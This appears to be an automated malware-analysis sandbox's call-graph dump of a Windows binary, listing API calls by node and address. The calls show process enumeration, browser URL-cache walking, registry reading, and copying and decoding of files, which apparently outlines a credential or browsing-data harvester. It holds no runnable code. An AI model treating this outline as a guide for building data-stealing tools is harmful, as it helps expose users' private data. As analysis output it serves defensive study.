API calls 39097->39098 39098->39097 39780 40a6e6 WideCharToMultiByte 39099->39780 39101 4087ed 39781 4095d9 memset 39101->39781 39151 40b633 free 39150->39151 39152 413d65 CreateToolhelp32Snapshot memset Process32FirstW 39151->39152 39153 413f00 Process32NextW 39152->39153 39154 413da5 OpenProcess 39153->39154 39155 413f17 CloseHandle 39153->39155 39156 413eb0 39154->39156 39157 413df3 memset 39154->39157 39155->38895 39156->39153 39159 413ebf free 39156->39159 39160 4099f4 3 API calls 39156->39160 40019 413f27 39157->40019 39159->39156 39160->39156 39162 413e37 GetModuleHandleW 39163 413e1f 39162->39163 39164 413e46 GetProcAddress 39162->39164 39163->39162 40024 413959 39163->40024 40040 413ca4 39163->40040 39164->39163 39166 413ea2 CloseHandle 39166->39156 39168 414c2e 16 API calls 39167->39168 39169 403eb7 39168->39169 39170 414c2e 16 API calls 39169->39170 39171 403ec5 39170->39171 39172 409d1f 6 API calls 39171->39172 39173 403ee2 39172->39173 39174 409d1f 6 API calls 39173->39174 39175 403efd 39174->39175 39176 409d1f 6 API calls 39175->39176 39177 403f15 39176->39177 39178 403af5 20 API calls 39177->39178 39179 403f29 39178->39179 39180 403af5 20 API calls 39179->39180 39181 403f3a 39180->39181 39182 40414f 33 API calls 39181->39182 39188 403f4f 39182->39188 39183 403faf 40054 40b1ab free free 39183->40054 39185 403f5b memset 39185->39188 39186 403fb7 39186->38841 39187 4099c6 2 API calls 39187->39188 39188->39183 39188->39185 39188->39187 39189 40a8ab 9 API calls 39188->39189 39189->39188 39191 414c2e 16 API calls 39190->39191 39192 403d26 39191->39192 39193 414c2e 16 API calls 39192->39193 39194 403d34 39193->39194 39195 409d1f 6 API calls 39194->39195 39196 403d51 39195->39196 39197 409d1f 6 API calls 39196->39197 39198 403d6c 39197->39198 39199 409d1f 6 API calls 39198->39199 39200 403d84 39199->39200 39201 403af5 20 API calls 39200->39201 39202 403d98 39201->39202 39203 403af5 20 API calls 39202->39203 39204 403da9 39203->39204 39205 40414f 33 API calls 39204->39205 39211 403dbe 39205->39211 39206 403e1e 40055 40b1ab free free 39206->40055 39207 403dca memset 39207->39211 39209 403e26 39209->38844 39210 4099c6 2 API calls 39210->39211 39211->39206 39211->39207 39211->39210 39212 40a8ab 9 API calls 39211->39212 39212->39211 39214 414b81 9 API calls 39213->39214 39215 414c40 39214->39215 39216 414c73 memset 39215->39216 40056 409cea 39215->40056 39219 414c94 39216->39219 39218 414c64 39218->38836 40059 414592 RegOpenKeyExW 39219->40059 39222 414cc1 39223 414cf4 wcscpy 39222->39223 40060 414bb0 wcscpy 39222->40060 39223->39218 39225 414cd2 40061 4145ac RegQueryValueExW 39225->40061 39227 414ce9 RegCloseKey 39227->39223 39229 409d62 39228->39229 39230 409d43 wcscpy 39228->39230 39229->38875 39231 409719 2 API calls 39230->39231 39232 409d51 wcscat 39231->39232 39232->39229 39234 40aebe FindClose 39233->39234 39235 40ae21 39234->39235 39236 4099c6 2 API calls 39235->39236 39237 40ae35 39236->39237 39238 409d1f 6 API calls 39237->39238 39239 40ae49 39238->39239 39239->38941 39241 40ade0 39240->39241 39242 40ae0f 39240->39242 39241->39242 39243 40ade7 wcscmp 39241->39243 39242->38941 39243->39242 39244 40adfe wcscmp 39243->39244 39244->39242 39246 40ae18 9 API calls 39245->39246 39252 4453c4 39246->39252 39247 40ae51 9 API calls 39247->39252 39248 4453f3 39249 40aebe FindClose 39248->39249 39251 4453fe 39249->39251 39250 40add4 2 API calls 39250->39252 39251->38941 39252->39247 39252->39248 39252->39250 39253 445403 253 API calls 39252->39253 39253->39252 39255 40ae7b FindNextFileW 39254->39255 39256 40ae5c FindFirstFileW 39254->39256 39257 40ae94 39255->39257 39258 40ae8f 39255->39258 39256->39257 39260 40aeb6 39257->39260 39261 409d1f 6 API calls 39257->39261 39259 40aebe FindClose 39258->39259 39259->39257 39260->38941 39261->39260 39264->38898 39265->38882 39266->38882 39267->38913 39269 409c89 39268->39269 39269->38937 39270->38966 39272 413d39 39271->39272 39273 413d2f FreeLibrary 39271->39273 39274 40b633 free 39272->39274 39273->39272 39275 413d42 39274->39275 39276 40b633 free 39275->39276 39277 413d4a 39276->39277 39277->38929 39278->38793 39279->38794 39280->38867 39282 44db70 39281->39282 39283 40b6fc memset 39282->39283 39284 409c70 2 API calls 39283->39284 39285 40b732 wcsrchr 39284->39285 39286 40b743 39285->39286 39287 40b746 memset 39285->39287 39286->39287 39288 40b2cc 27 API calls 39287->39288 39289 40b76f 39288->39289 39290 409d1f 6 API calls 39289->39290 39291 40b783 39290->39291 40062 409b98 GetFileAttributesW 39291->40062 39293 40b792 39294 409c70 2 API calls 39293->39294 39308 40b7c2 39293->39308 39296 40b7a5 39294->39296 39298 40b2cc 27 API calls 39296->39298 39302 40b7b2 39298->39302 39299 40b837 CloseHandle 39301 40b83e memset 39299->39301 39300 40b817 40097 409a45 GetTempPathW 39300->40097 40096 40a6e6 WideCharToMultiByte 39301->40096 39306 409d1f 6 API calls 39302->39306 39304 40b827 CopyFileW 39304->39301 39306->39308 39307 40b866 39309 444432 121 API calls 39307->39309 40063 40bb98 39308->40063 39310 40b879 39309->39310 39311 40bad5 39310->39311 39312 40b273 27 API calls 39310->39312 39313 40baeb 39311->39313 39314 40bade DeleteFileW 39311->39314 39315 40b89a 39312->39315 39316 40b04b ??3@YAXPAX 39313->39316 39314->39313 39317 438552 134 API calls 39315->39317 39318 40baf3 39316->39318 39319 40b8a4 39317->39319 39318->38796 39320 40bacd 39319->39320 39322 4251c4 137 API calls 39319->39322 39321 443d90 111 API calls 39320->39321 39321->39311 39345 40b8b8 39322->39345 39323 40bac6 40109 424f26 123 API calls 39323->40109 39324 40b8bd memset 40100 425413 17 API calls 39324->40100 39327 425413 17 API calls 39327->39345 39330 40a71b MultiByteToWideChar 39330->39345 39331 40a734 MultiByteToWideChar 39331->39345 39334 40b9b5 memcmp 39334->39345 39335 4099c6 2 API calls 39335->39345 39336 404423 37 API calls 39336->39345 39339 40bb3e memset memcpy 40110 40a734 MultiByteToWideChar 39339->40110 39340 4251c4 137 API calls 39340->39345 39342 40bb88 LocalFree 39342->39345 39345->39323 39345->39324 39345->39327 39345->39330 39345->39331 39345->39334 39345->39335 39345->39336 39345->39339 39345->39340 39346 40ba5f memcmp 39345->39346 40101 4253ef 16 API calls 39345->40101 40102 40b64c SystemTimeToFileTime FileTimeToLocalFileTime 39345->40102 40103 4253af 17 API calls 39345->40103 40104 4253cf 17 API calls 39345->40104 40105 447280 memset 39345->40105 40106 447960 memset memcpy memcpy memcpy 39345->40106 40107 40afe8 ??2@YAPAXI memcpy ??3@YAXPAX 39345->40107 40108 447920 memcpy memcpy memcpy 39345->40108 39346->39345 39347->38871 39349 40aed1 39348->39349 39350 40aec7 FindClose 39348->39350 39349->38806 39350->39349 39352 4099d7 39351->39352 39353 4099da memcpy 39351->39353 39352->39353 39353->38854 39355 40b2cc 27 API calls 39354->39355 39356 44543f 39355->39356 39357 409d1f 6 API calls 39356->39357 39358 44544f 39357->39358 40199 409b98 GetFileAttributesW 39358->40199 39360 445476 39363 40b2cc 27 API calls 39360->39363 39361 44545e 39361->39360 39362 40b6ef 252 API calls 39361->39362 39362->39360 39364 445482 39363->39364 39365 409d1f 6 API calls 39364->39365 39366 445492 39365->39366 40200 409b98 GetFileAttributesW 39366->40200 39368 4454a1 39369 4454b9 39368->39369 39370 40b6ef 252 API calls 39368->39370 39369->38880 39370->39369 39371->38879 39372->38903 39373->38909 39374->38944 39375->38925 39376->38969 39377->38969 39378->38955 39379->38985 39380->38987 39381->38989 39383 414c2e 16 API calls 39382->39383 39384 40c2ae 39383->39384 39454 40c1d3 39384->39454 39389 40c3be 39406 40a8ab 39389->39406 39390 40afcf 2 API calls 39391 40c2fd FindFirstUrlCacheEntryW 39390->39391 39392 40c3b6 39391->39392 39393 40c31e wcschr 39391->39393 39394 40b04b ??3@YAXPAX 39392->39394 39395 40c331 39393->39395 39396 40c35e FindNextUrlCacheEntryW 39393->39396 39394->39389 39397 40a8ab 9 API calls 39395->39397 39396->39393 39398 40c373 GetLastError 39396->39398 39401 40c33e wcschr 39397->39401 39399 40c3ad FindCloseUrlCache 39398->39399 39400 40c37e 39398->39400 39399->39392 39402 40afcf 2 API calls 39400->39402 39401->39396 39403 40c34f 39401->39403 39404 40c391 FindNextUrlCacheEntryW 39402->39404 39405 40a8ab 9 API calls 39403->39405 39404->39393 39404->39399 39405->39396 39570 40a97a 39406->39570 39409 40a8cc 39409->38996 39576 40b1ab free free 39411->39576 39413 40c3dd 39414 40b2cc 27 API calls 39413->39414 39415 40c3e7 39414->39415 39577 414592 RegOpenKeyExW 39415->39577 39417 40c3f4 39418 40c50e 39417->39418 39419 40c3ff 39417->39419 39433 405337 39418->39433 39420 40a9ce 4 API calls 39419->39420 39421 40c418 memset 39420->39421 39578 40aa1d 39421->39578 39424 40c471 39426 40c47a _wcsupr 39424->39426 39425 40c505 RegCloseKey 39425->39418 39580 40a8d0 7 API calls 39426->39580 39428 40c498 39581 40a8d0 7 API calls 39428->39581 39430 40c4ac memset 39431 40aa1d 39430->39431 39432 40c4e4 RegEnumValueW 39431->39432 39432->39425 39432->39426 39582 405220 39433->39582 39437 4099c6 2 API calls 39436->39437 39438 40a714 _wcslwr 39437->39438 39439 40c634 39438->39439 39639 405361 39439->39639 39442 40c65c wcslen 39642 4053b6 39 API calls 39442->39642 39443 40c71d wcslen 39443->39010 39445 40c677 39446 40c713 39445->39446 39643 40538b 39 API calls 39445->39643 39645 4053df 39 API calls 39446->39645 39449 40c6a5 39449->39446 39453->39003 39455 40ae18 9 API calls 39454->39455 39461 40c210 39455->39461 39456 40ae51 9 API calls 39456->39461 39457 40c264 39458 40aebe FindClose 39457->39458 39460 40c26f 39458->39460 39459 40add4 2 API calls 39459->39461 39466 40e5ed memset memset 39460->39466 39461->39456 39461->39457 39461->39459 39462 40c231 _wcsicmp 39461->39462 39463 40c1d3 35 API calls 39461->39463 39462->39461 39464 40c248 39462->39464 39463->39461 39479 40c084 22 API calls 39464->39479 39467 414c2e 16 API calls 39466->39467 39468 40e63f 39467->39468 39469 409d1f 6 API calls 39468->39469 39470 40e658 39469->39470 39480 409b98 GetFileAttributesW 39470->39480 39472 40e667 39473 40e680 39472->39473 39474 409d1f 6 API calls 39472->39474 39481 409b98 GetFileAttributesW 39473->39481 39474->39473 39476 40e68f 39478 40c2d8 39476->39478 39482 40e4b2 39476->39482 39478->39389 39478->39390 39479->39461 39480->39472 39481->39476 39503 40e01e 39482->39503 39484 40e593 39485 40e5b0 39484->39485 39486 40e59c DeleteFileW 39484->39486 39488 40b04b ??3@YAXPAX 39485->39488 39486->39485 39487 40e521 39487->39484 39526 40e175 39487->39526 39489 40e5bb 39488->39489 39491 40e5c4 CloseHandle 39489->39491 39492 40e5cc 39489->39492 39491->39492 39494 40b633 free 39492->39494 39493 40e573 39496 40e584 39493->39496 39497 40e57c CloseHandle 39493->39497 39495 40e5db 39494->39495 39499 40b633 free 39495->39499 39569 40b1ab free free 39496->39569 39497->39496 39498 40e540 39498->39493 39546 40e2ab 39498->39546 39501 40e5e3 39499->39501 39501->39478 39504 406214 22 API calls 39503->39504 39505 40e03c 39504->39505 39506 40e16b 39505->39506 39507 40dd85 74 API calls 39505->39507 39506->39487 39508 40e06b 39507->39508 39508->39506 39509 40afcf ??2@YAPAXI ??3@YAXPAX 39508->39509 39510 40e08d OpenProcess 39509->39510 39511 40e0a4 GetCurrentProcess DuplicateHandle 39510->39511 39515 40e152 39510->39515 39512 40e0d0 GetFileSize 39511->39512 39513 40e14a CloseHandle 39511->39513 39516 409a45 GetTempPathW GetWindowsDirectoryW GetTempFileNameW 39512->39516 39513->39515 39514 40e160 39518 40b04b ??3@YAXPAX 39514->39518 39515->39514 39517 406214 22 API calls 39515->39517 39519 40e0ea 39516->39519 39517->39514 39518->39506 39520 4096dc CreateFileW 39519->39520 39521 40e0f1 CreateFileMappingW 39520->39521 39522 40e140 CloseHandle CloseHandle 39521->39522 39523 40e10b MapViewOfFile 39521->39523 39522->39513 39524 40e13b CloseHandle 39523->39524 39525 40e11f WriteFile UnmapViewOfFile 39523->39525 39524->39522 39525->39524 39527 40e18c 39526->39527 39528 406b90 11 API calls 39527->39528 39529 40e19f 39528->39529 39530 40e1a7 memset 39529->39530 39531 40e299 39529->39531 39536 40e1e8 39530->39536 39532 4069a3 ??3@YAXPAX free 39531->39532 39533 40e2a4 39532->39533 39533->39498 39534 406e8f 13 API calls 39534->39536 39535 406b53 SetFilePointerEx ReadFile 39535->39536 39536->39534 39536->39535 39537 40e283 39536->39537 39538 40dd50 _wcsicmp 39536->39538 39542 40742e 8 API calls 39536->39542 39543 40aae3 wcslen wcslen _memicmp 39536->39543 39544 40e244 _snwprintf 39536->39544 39539 40e291 39537->39539 39540 40e288 free 39537->39540 39538->39536 39541 40aa04 free 39539->39541 39540->39539 39541->39531 39542->39536 39543->39536 39545 40a8d0 7 API calls 39544->39545 39545->39536 39547 40e2c2 39546->39547 39548 406b90 11 API calls 39547->39548 39568 40e2d3 39548->39568 39549 40e4a0 39550 4069a3 ??3@YAXPAX free 39549->39550 39552 40e4ab 39550->39552 39551 406e8f 13 API calls 39551->39568 39552->39498 39553 406b53 SetFilePointerEx ReadFile 39553->39568 39554 40e489 39555 40aa04 free 39554->39555 39556 40e491 39555->39556 39556->39549 39557 40e497 free 39556->39557 39557->39549 39558 40dd50 _wcsicmp 39558->39568 39559 40dd50 _wcsicmp 39560 40e376 memset 39559->39560 39561 40aa29 6 API calls 39560->39561 39561->39568 39562 40742e 8 API calls 39562->39568 39563 40e3e0 memcpy 39563->39568 39564 40e3b3 wcschr 39564->39568 39565 40e3fb memcpy 39565->39568 39566 40e416 memcpy 39566->39568 39567 40e431 memcpy 39567->39568 39568->39549 39568->39551 39568->39553 39568->39554 39568->39558 39568->39559 39568->39562 39568->39563 39568->39564 39568->39565 39568->39566 39568->39567 39569->39484 39572 40a980 39570->39572 39571 40a8bb 39571->39409 39575 40a8d0 7 API calls 39571->39575 39572->39571 39573 40a995 _wcsicmp 39572->39573 39574 40a99c wcscmp 39572->39574 39573->39572 39574->39572 39575->39409 39576->39413 39577->39417 39579 40aa23 RegEnumValueW 39578->39579 39579->39424 39579->39425 39580->39428 39581->39430 39583 405335 39582->39583 39584 40522a 39582->39584 39583->39010 39585 40b2cc 27 API calls 39584->39585 39586 405234 39585->39586 39587 40a804 8 API calls 39586->39587 39588 40523a 39587->39588 39627 40b273 39588->39627 39590 405248 _mbscpy _mbscat GetProcAddress 39591 40b273 27 API calls 39590->39591 39592 405279 39591->39592 39630 405211 GetProcAddress 39592->39630 39594 405282 39595 40b273 27 API calls 39594->39595 39628 40b58d 27 API calls 39627->39628 39629 40b18c 39628->39629 39629->39590 39630->39594 39640 405220 39 API calls 39639->39640 39641 405369 39640->39641 39641->39442 39641->39443 39642->39445 39643->39449 39645->39443 39647 40440c FreeLibrary 39646->39647 39648 40436d 39647->39648 39649 40a804 8 API calls 39648->39649 39650 404377 39649->39650 39651 404383 39650->39651 39652 404405 39650->39652 39653 40b273 27 API calls 39651->39653 39652->39015 39652->39017 39652->39018 39654 40438d GetProcAddress 39653->39654 39655 40b273 27 API calls 39654->39655 39656 4043a7 GetProcAddress 39655->39656 39667 404413 FreeLibrary 39666->39667 39668 40441e 39666->39668 39667->39668 39668->39032 39713 403a29 39712->39713 39727 403bed memset memset 39713->39727 39715 403ae7 39740 40b1ab free free 39715->39740 39716 403a3f memset 39721 403a2f 39716->39721 39718 403aef 39718->39072 39719 409d1f 6 API calls 39719->39721 39720 409b98 GetFileAttributesW 39720->39721 39721->39715 39721->39716 39721->39719 39721->39720 39722 40a8d0 7 API calls 39721->39722 39722->39721 39724 40a051 GetFileTime CloseHandle 39723->39724 39725 4039ca CompareFileTime 39723->39725 39724->39725 39725->39072 39726->39069 39728 414c2e 16 API calls 39727->39728 39729 403c38 39728->39729 39730 409719 2 API calls 39729->39730 39731 403c3f wcscat 39730->39731 39732 414c2e 16 API calls 39731->39732 39733 403c61 39732->39733 39734 409719 2 API calls 39733->39734 39735 403c68 wcscat 39734->39735 39741 403af5 39735->39741 39738 403af5 20 API calls 39739 403c95 39738->39739 39739->39721 39740->39718 39742 403b02 39741->39742 39743 40ae18 9 API calls 39742->39743 39745 403b37 39743->39745 39744 40ae51 9 API calls 39744->39745 39745->39744 39746 403bdb 39745->39746 39747 40add4 wcscmp wcscmp 39745->39747 39750 40ae18 9 API calls 39745->39750 39751 40aebe FindClose 39745->39751 39752 40a8d0 7 API calls 39745->39752 39748 40aebe FindClose 39746->39748 39747->39745 39749 403be6 39748->39749 39749->39738 39750->39745 39751->39745 39752->39745 39754 409d1f 6 API calls 39753->39754 39755 404190 39754->39755 39768 409b98 GetFileAttributesW 39755->39768 39757 40419c 39758 4041a7 6 API calls 39757->39758 39759 40435c 39757->39759 39761 40424f 39758->39761 39759->39097 39761->39759 39762 40425e memset 39761->39762 39764 409d1f 6 API calls 39761->39764 39765 40a8ab 9 API calls 39761->39765 39769 414842 39761->39769 39762->39761 39763 404296 wcscpy 39762->39763 39763->39761 39764->39761 39766 4042b6 memset memset _snwprintf wcscpy 39765->39766 39766->39761 39767->39095 39768->39757 39772 41443e 39769->39772 39771 414866 39771->39761 39773 41444b 39772->39773 39774 414451 39773->39774 39775 4144a3 GetPrivateProfileStringW 39773->39775 39776 414491 39774->39776 39777 414455 wcschr 39774->39777 39775->39771 39779 414495 WritePrivateProfileStringW 39776->39779 39777->39776 39778 414463 _snwprintf 39777->39778 39778->39779 39779->39771 39780->39101 40046 413f4f 40019->40046 40022 413f37 K32GetModuleFileNameExW 40023 413f4a 40022->40023 40023->39163 40025 413969 wcscpy 40024->40025 40026 41396c wcschr 40024->40026 40029 413a3a 40025->40029 40026->40025 40028 41398e 40026->40028 40051 4097f7 wcslen wcslen _memicmp 40028->40051 40029->39163 40031 41399a 40032 4139a4 memset 40031->40032 40033 4139e6 40031->40033 40052 409dd5 GetWindowsDirectoryW wcscpy 40032->40052 40035 413a31 wcscpy 40033->40035 40036 4139ec memset 40033->40036 40035->40029 40053 409dd5 GetWindowsDirectoryW wcscpy 40036->40053 40037 4139c9 wcscpy wcscat 40037->40029 40039 413a11 memcpy wcscat 40039->40029 40041 413cb0 GetModuleHandleW 40040->40041 40042 413cda 40040->40042 40041->40042 40043 413cbf GetProcAddress 40041->40043 40044 413ce3 GetProcessTimes 40042->40044 40045 413cf6 40042->40045 40043->40042 40044->39166 40045->39166 40047 413f2f 40046->40047 40048 413f54 40046->40048 40047->40022 40047->40023 40049 40a804 8 API calls 40048->40049 40050 413f5f GetProcAddress GetProcAddress GetProcAddress GetProcAddress GetProcAddress 40049->40050 40050->40047 40051->40031 40052->40037 40053->40039 40054->39186 40055->39209 40057 409cf9 GetVersionExW 40056->40057 40058 409d0a 40056->40058 40057->40058 40058->39216 40058->39218 40059->39222 40060->39225 40061->39227 40062->39293 40064 40bba5 40063->40064 40111 40cc26 40064->40111 40067 40bd4b 40132 40cc0c 40067->40132 40072 40b2cc 27 API calls 40073 40bbef 40072->40073 40139 40ccf0 _wcsicmp 40073->40139 40075 40bbf5 40075->40067 40140 40ccb4 6 API calls 40075->40140 40077 40bc26 40078 40cf04 17 API calls 40077->40078 40079 40bc2e 40078->40079 40080 40bd43 40079->40080 40081 40b2cc 27 API calls 40079->40081 40082 40cc0c 4 API calls 40080->40082 40083 40bc40 40081->40083 40082->40067 40141 40ccf0 _wcsicmp 40083->40141 40085 40bc46 40085->40080 40086 40bc61 memset memset WideCharToMultiByte 40085->40086 40142 40103c strlen 40086->40142 40088 40bcc0 40089 40b273 27 API calls 40088->40089 40090 40bcd0 memcmp 40089->40090 40090->40080 40091 40bce2 40090->40091 40092 404423 37 API calls 40091->40092 40093 40bd10 40092->40093 40093->40080 40094 40bd3a LocalFree 40093->40094 40095 40bd1f memcpy 40093->40095 40094->40080 40095->40094 40096->39307 40098 409a74 GetTempFileNameW 40097->40098 40099 409a66 GetWindowsDirectoryW 40097->40099 40098->39304 40099->40098 40100->39345 40101->39345 40102->39345 40103->39345 40104->39345 40105->39345 40106->39345 40107->39345 40108->39345 40109->39320 40110->39342 40143 4096c3 CreateFileW 40111->40143 40113 40cc34 40114 40cc3d GetFileSize 40113->40114 40115 40bbca 40113->40115 40116 40afcf 2 API calls 40114->40116 40115->40067 40123 40cf04 40115->40123 40117 40cc64 40116->40117 40144 40a2ef ReadFile 40117->40144 40119 40cc71 40145 40ab4a MultiByteToWideChar 40119->40145 40121 40cc95 CloseHandle 40122 40b04b ??3@YAXPAX 40121->40122 40122->40115 40124 40b633 free 40123->40124 40125 40cf14 40124->40125 40151 40b1ab free free 40125->40151 40127 40bbdd 40127->40067 40127->40072 40128 40cf1b 40128->40127 40130 40cfef 40128->40130 40152 40cd4b 40128->40152 40131 40cd4b 14 API calls 40130->40131 40131->40127 40133 40b633 free 40132->40133 40134 40cc15 40133->40134 40135 40aa04 free 40134->40135 40136 40cc1d 40135->40136 40198 40b1ab free free 40136->40198 40138 40b7d4 memset CreateFileW 40138->39299 40138->39300 40139->40075 40140->40077 40141->40085 40142->40088 40143->40113 40144->40119 40146 40ab6b 40145->40146 40150 40ab93 40145->40150 40147 40a9ce 4 API calls 40146->40147 40148 40ab74 40147->40148 40149 40ab7c MultiByteToWideChar 40148->40149 40149->40150 40150->40121 40151->40128 40153 40cd7b 40152->40153 40186 40aa29 6 API calls 40153->40186 40155 40cef5 40156 40aa04 free 40155->40156 40157 40cefd 40156->40157 40157->40128 40158 40cd89 40158->40155 40187 40aa29 6 API calls 40158->40187 40160 40ce1d 40188 40aa29 6 API calls 40160->40188 40162 40ce3e 40163 40ce6a 40162->40163 40189 40abb7 wcslen memmove 40162->40189 40164 40ce9f 40163->40164 40192 40abb7 wcslen memmove 40163->40192 40195 40a8d0 7 API calls 40164->40195 40167 40ce56 40190 40aa71 wcslen 40167->40190 40169 40ceb5 40196 40a8d0 7 API calls 40169->40196 40171 40ce8b 40193 40aa71 wcslen 40171->40193 40172 40ce5e 40191 40abb7 wcslen memmove 40172->40191 40174 40ce93 40194 40abb7 wcslen memmove 40174->40194 40178 40cecb 40197 40d00b malloc memcpy free free 40178->40197 40180 40cedd 40181 40aa04 free 40180->40181 40182 40cee5 40181->40182 40183 40aa04 free 40182->40183 40184 40ceed 40183->40184 40185 40aa04 free 40184->40185 40185->40155 40186->40158 40187->40160 40188->40162 40189->40167 40190->40172 40191->40163 40192->40171 40193->40174 40194->40164 40195->40169 40196->40178 40197->40180 40198->40138 40199->39361 40200->39368 40210 44def7 40211 44df07 40210->40211 40212 44df00 ??3@YAXPAX 40210->40212 40213 44df17 40211->40213 40214 44df10 ??3@YAXPAX 40211->40214 40212->40211 40215 44df27 40213->40215 40216 44df20 ??3@YAXPAX 40213->40216 40214->40213 40217 44df37 40215->40217 40218 44df30 ??3@YAXPAX 40215->40218 40216->40215 40218->40217 37536 44dea5 37537 44deb5 FreeLibrary 37536->37537 37538 44dec3 37536->37538 37537->37538 37723 4426a9 37728 4324d3 37723->37728 37725 4426d2 37742 431a7b 147 API calls 37725->37742 37727 4426e3 37727->37727 37729 4324e3 37728->37729 37730 4324da 37728->37730 37736 4324e8 37729->37736 37747 43240a 12 API calls 37729->37747 37743 415a91 37730->37743 37733 4324fd 37734 432513 37733->37734 37735 432508 37733->37735 37749 43034a 37734->37749 37748 4325ad memset 37735->37748 37736->37725 37738 43250e 37738->37725 37740 432548 37741 43034a memcpy 37740->37741 37741->37738 37742->37727 37744 415a9d 37743->37744 37745 415ab3 37744->37745 37746 415aa4 memset 37744->37746 37745->37729 37746->37745 37747->37733 37748->37738 37750 43034e 37749->37750 37752 430359 37749->37752 37753 415c23 memcpy 37750->37753 37752->37740 37753->37752 40219 4148b6 FindResourceW 40220 4148f9 40219->40220 40221 4148cf SizeofResource 40219->40221 40221->40220 40222 4148e0 LoadResource 40221->40222 40222->40220 40223 4148ee LockResource 40222->40223 40223->40220 37717 415304 free 37539 415320 realloc 37540 415340 37539->37540 37541 41534d 37539->37541 37543 416760 11 API calls 37541->37543 37543->37540 40224 441b3f 40234 43a9f6 40224->40234 40226 441b61 40407 4386af memset 40226->40407 40228 44189a 40229 442bd4 40228->40229 40230 4418e2 40228->40230 40231 4418ea 40229->40231 40409 441409 memset 40229->40409 40230->40231 40408 4414a9 12 API calls 40230->40408 40235 43aa20 40234->40235 40236 43aadf 40234->40236 40235->40236 40237 43aa34 memset 40235->40237 40236->40226 40238 43aa56 40237->40238 40239 43aa4d 40237->40239 40410 43a6e7 40238->40410 40418 42c02e memset 40239->40418 40244 43aad3 40420 4169a7 11 API calls 40244->40420 40245 43aaae 40245->40236 40245->40244 40260 43aae5 40245->40260 40246 43ac18 40249 43ac47 40246->40249 40422 42bbd5 memcpy memcpy memcpy memset memcpy 40246->40422 40250 43aca8 40249->40250 40423 438eed 16 API calls 40249->40423 40253 43acd5 40250->40253 40425 4233ae 11 API calls 40250->40425 40426 423426 11 API calls 40253->40426 40254 43ac87 40424 4233c5 16 API calls 40254->40424 40258 43ace1 40427 439811 163 API calls 40258->40427 40259 43a9f6 161 API calls 40259->40260 40260->40236 40260->40246 40260->40259 40421 439bbb 22 API calls 40260->40421 40262 43acfd 40267 43ad2c 40262->40267 40428 438eed 16 API calls 40262->40428 40264 43ad19 40429 4233c5 16 API calls 40264->40429 40265 43ad58 40430 44081d 163 API calls 40265->40430 40267->40265 40271 43add9 40267->40271 40270 43ae3a memset 40272 43ae73 40270->40272 40271->40271 40434 423426 11 API calls 40271->40434 40435 42e1c0 147 API calls 40272->40435 40273 43adab 40432 438c4e 163 API calls 40273->40432 40276 43ad6c 40276->40236 40276->40273 40431 42370b memset memcpy memset 40276->40431 40278 43adcc 40433 440f84 12 API calls 40278->40433 40279 43ae96 40436 42e1c0 147 API calls 40279->40436 40282 43aea8 40283 43aec1 40282->40283 40437 42e199 147 API calls 40282->40437 40284 43af00 40283->40284 40438 42e1c0 147 API calls 40283->40438 40284->40236 40288 43af1a 40284->40288 40289 43b3d9 40284->40289 40439 438eed 16 API calls 40288->40439 40294 43b3f6 40289->40294 40298 43b4c8 40289->40298 40291 43b60f 40291->40236 40498 4393a5 17 API calls 40291->40498 40293 43af2f 40440 4233c5 16 API calls 40293->40440 40480 432878 12 API calls 40294->40480 40296 43af51 40441 423426 11 API calls 40296->40441 40306 43b4f2 40298->40306 40486 42bbd5 memcpy memcpy memcpy memset memcpy 40298->40486 40300 43af7d 40442 423426 11 API calls 40300->40442 40304 43b529 40488 44081d 163 API calls 40304->40488 40305 43af94 40443 423330 11 API calls 40305->40443 40487 43a76c 21 API calls 40306->40487 40310 43afca 40444 423330 11 API calls 40310->40444 40311 43b47e 40314 43b497 40311->40314 40483 42374a memcpy memset memcpy memcpy memcpy 40311->40483 40312 43b544 40315 43b55c 40312->40315 40489 42c02e memset 40312->40489 40484 4233ae 11 API calls 40314->40484 40490 43a87a 163 API calls 40315->40490 40316 43afdb 40445 4233ae 11 API calls 40316->40445 40321 43b428 40332 43b462 40321->40332 40481 432b60 16 API calls 40321->40481 40323 43b56c 40326 43b58a 40323->40326 40491 423330 11 API calls 40323->40491 40324 43b4b1 40485 423399 11 API calls 40324->40485 40325 43afee 40446 44081d 163 API calls 40325->40446 40492 440f84 12 API calls 40326->40492 40328 43b4c1 40494 42db80 163 API calls 40328->40494 40482 423330 11 API calls 40332->40482 40334 43b592 40493 43a82f 16 API calls 40334->40493 40337 43b5b4 40495 438c4e 163 API calls 40337->40495 40339 43b5cf 40496 42c02e memset 40339->40496 40341 43b005 40341->40236 40345 43b01f 40341->40345 40447 42d836 163 API calls 40341->40447 40342 43b1ef 40457 4233c5 16 API calls 40342->40457 40345->40342 40455 423330 11 API calls 40345->40455 40456 42d71d 163 API calls 40345->40456 40346 43b212 40458 423330 11 API calls 40346->40458 40347 43b087 40448 4233ae 11 API calls 40347->40448 40348 43add4 40348->40291 40497 438f86 16 API calls 40348->40497 40352 43b22a 40459 42ccb5 11 API calls 40352->40459 40355 43b23f 40460 4233ae 11 API calls 40355->40460 40356 43b10f 40451 423330 11 API calls 40356->40451 40358 43b257 40461 4233ae 11 API calls 40358->40461 40362 43b129 40452 4233ae 11 API calls 40362->40452 40363 43b26e 40462 4233ae 11 API calls 40363->40462 40366 43b09a 40366->40356 40449 42cc15 19 API calls 40366->40449 40450 4233ae 11 API calls 40366->40450 40367 43b282 40463 43a87a 163 API calls 40367->40463 40369 43b13c 40453 440f84 12 API calls 40369->40453 40371 43b29d 40464 423330 11 API calls 40371->40464 40374 43b15f 40454 4233ae 11 API calls 40374->40454 40375 43b2af 40377 43b2b8 40375->40377 40378 43b2ce 40375->40378 40465 4233ae 11 API calls 40377->40465 40466 440f84 12 API calls 40378->40466 40381 43b2c9 40468 4233ae 11 API calls 40381->40468 40382 43b2da 40467 42370b memset memcpy memset 40382->40467 40385 43b2f9 40469 423330 11 API calls 40385->40469 40387 43b30b 40470 423330 11 API calls 40387->40470 40389 43b325 40471 423399 11 API calls 40389->40471 40391 43b332 40472 4233ae 11 API calls 40391->40472 40393 43b354 40473 423399 11 API calls 40393->40473 40395 43b364 40474 43a82f 16 API calls 40395->40474 40397 43b370 40475 42db80 163 API calls 40397->40475 40399 43b380 40476 438c4e 163 API calls 40399->40476 40401 43b39e 40477 423399 11 API calls 40401->40477 40403 43b3ae 40478 43a76c 21 API calls 40403->40478 40405 43b3c3 40479 423399 11 API calls 40405->40479 40407->40228 40408->40231 40409->40229 40411 43a6f5 40410->40411 40417 43a765 40410->40417 40411->40417 40499 42a115 40411->40499 40415 43a73d 40416 42a115 147 API calls 40415->40416 40415->40417 